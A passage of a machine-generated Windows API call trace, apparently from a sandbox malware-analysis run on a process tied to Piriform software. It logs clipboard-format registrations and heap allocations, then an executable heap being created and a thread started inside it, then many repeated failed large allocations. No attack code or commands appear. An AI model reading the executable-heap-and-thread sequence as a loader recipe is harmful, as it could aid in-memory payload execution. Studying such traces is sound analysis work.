(lpszFormat="TaskbarSetProgressValue") returned 0xc1de [0206.085] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.085] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.085] RegisterClipboardFormatW (lpszFormat="EVENTS_WINDOW_MESSAGE") returned 0xc1e6 [0206.085] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.085] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.085] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.085] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.085] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressState") returned 0xc1dd [0206.085] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressValue") returned 0xc1de [0206.085] RegisterClipboardFormatW (lpszFormat="ACTIVATION_EVENTS_WINDOW_MESSAGE") returned 0xc1e3 [0206.085] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.085] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.085] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.085] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.085] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.086] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.086] RegisterClipboardFormatW (lpszFormat="EVENTS_WINDOW_MESSAGE") returned 0xc1e6 [0206.086] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.086] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.086] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.086] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.086] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.086] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressState") returned 0xc1dd [0206.086] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressValue") returned 0xc1de [0206.086] RegisterClipboardFormatW (lpszFormat="ACTIVATION_EVENTS_WINDOW_MESSAGE") returned 0xc1e3 [0206.086] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.086] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.086] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.086] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.086] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.086] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.086] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressState") returned 0xc1dd [0206.086] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressValue") returned 0xc1de [0206.086] RegisterClipboardFormatW (lpszFormat="ACTIVATION_EVENTS_WINDOW_MESSAGE") returned 0xc1e3 [0206.086] RegisterClipboardFormatW (lpszFormat="RULES_EVENTS_WINDOW_MESSAGE") returned 0xc1e7 [0206.086] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.087] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.087] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.087] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.087] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressState") returned 0xc1dd [0206.087] RegisterClipboardFormatW (lpszFormat="TaskbarSetProgressValue") returned 0xc1de [0206.087] RegisterClipboardFormatW (lpszFormat="ACTIVATION_EVENTS_WINDOW_MESSAGE") returned 0xc1e3 [0206.087] RegisterClipboardFormatW (lpszFormat="TASKBAR_NOTIFIER_CLICKED_MESSAGE") returned 0xc1dc [0206.087] RegisterClipboardFormatW (lpszFormat="IDENTITY_EVENTS_WINDOW_MESSAGE") returned 0xc1e5 [0206.087] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.087] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.087] GetSysColor (nIndex=2) returned 0xd1b499 [0206.087] GetSysColor (nIndex=2) returned 0xd1b499 [0206.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fecc | out: lpSystemTimeAsFileTime=0x19fecc*(dwLowDateTime=0x5e3f2341, dwHighDateTime=0x1d8a766)) [0206.087] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x18) returned 0x2861aa8 [0206.087] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x18) returned 0x2862898 [0206.087] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x1) returned 0x2861ac8 [0206.087] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x8) returned 0x28628b8 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x4) returned 0x28628c8 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x1) returned 0x28628d8 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x8) returned 0x28628e8 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x8) returned 0x28628f8 [0206.088] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x28628c8 | out: hHeap=0x2860000) returned 1 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x18) returned 0x2862a00 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x10) returned 0x2862908 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x18) returned 0x2862a20 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x1) returned 0x28628c8 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x8) returned 0x2862a40 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0xc) returned 0x2862a50 [0206.088] HeapFree (in: hHeap=0x2860000, dwFlags=0x0, lpMem=0x28628f8 | out: hHeap=0x2860000) returned 1 [0206.088] RtlSizeHeap (HeapHandle=0x2860000, Flags=0x0, MemoryPointer=0x2862ce8) returned 0x100 [0206.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fecc | out: lpSystemTimeAsFileTime=0x19fecc*(dwLowDateTime=0x5e3f2341, dwHighDateTime=0x1d8a766)) [0206.088] RegisterClipboardFormatW (lpszFormat="EVENTS_WINDOW_MESSAGE") returned 0xc1e6 [0206.088] RegisterClipboardFormatW (lpszFormat="RULES_EVENTS_WINDOW_MESSAGE") returned 0xc1e7 [0206.088] RegisterClipboardFormatW (lpszFormat="CUSTOM_BUTTON_WINDOW_MESSAGE") returned 0xc1e4 [0206.088] RegisterClipboardFormatW (lpszFormat="VIRTUAL_CHECK_CHANGED_WINDOW_MESSAGE") returned 0xc1df [0206.088] RegisterClipboardFormatW (lpszFormat="Piriform::Breakpad::CKeyboardHook::Message::B4E8893A-C6C1-4c98-BFFC-B81923F8C77D") returned 0xc14b [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x2c) returned 0x2862a68 [0206.088] RtlAllocateHeap (HeapHandle=0x2860000, Flags=0x0, Size=0x10) returned 0x2862aa0 [0270.682] HeapCreate (flOptions=0x40000, dwInitialSize=0x22125, dwMaximumSize=0x0) returned 0xd10000 [0270.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x22125) returned 0xd105a8 [0270.740] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xd10c3f, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0270.741] Sleep (dwMilliseconds=0xbc) [0271.004] WaitForMultipleObjects (nCount=0x1, lpHandles=0xd10c25*=0x1bc, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 165 os_tid = 0x1104 Thread: id = 166 os_tid = 0x1100 Thread: id = 176 os_tid = 0xef4 [0270.775] VirtualAlloc (lpAddress=0x0, dwSize=0x82abdb5, flAllocationType=0x1000, flProtect=0x4) returned 0x2980000 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.780] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.780] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.781] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.781] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.782] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.782] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.783] GetProcessHeap () returned 0xad0000 [0270.783] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.784] GetProcessHeap () returned 0xad0000 [0270.784] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.785] GetProcessHeap () returned 0xad0000 [0270.785] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.786] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.786] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 0x0 [0270.787] GetProcessHeap () returned 0xad0000 [0270.787] RtlAllocateHeap (HeapHandle=0xad0000, Flags=0x0, Size=0xffffdb5a) returned 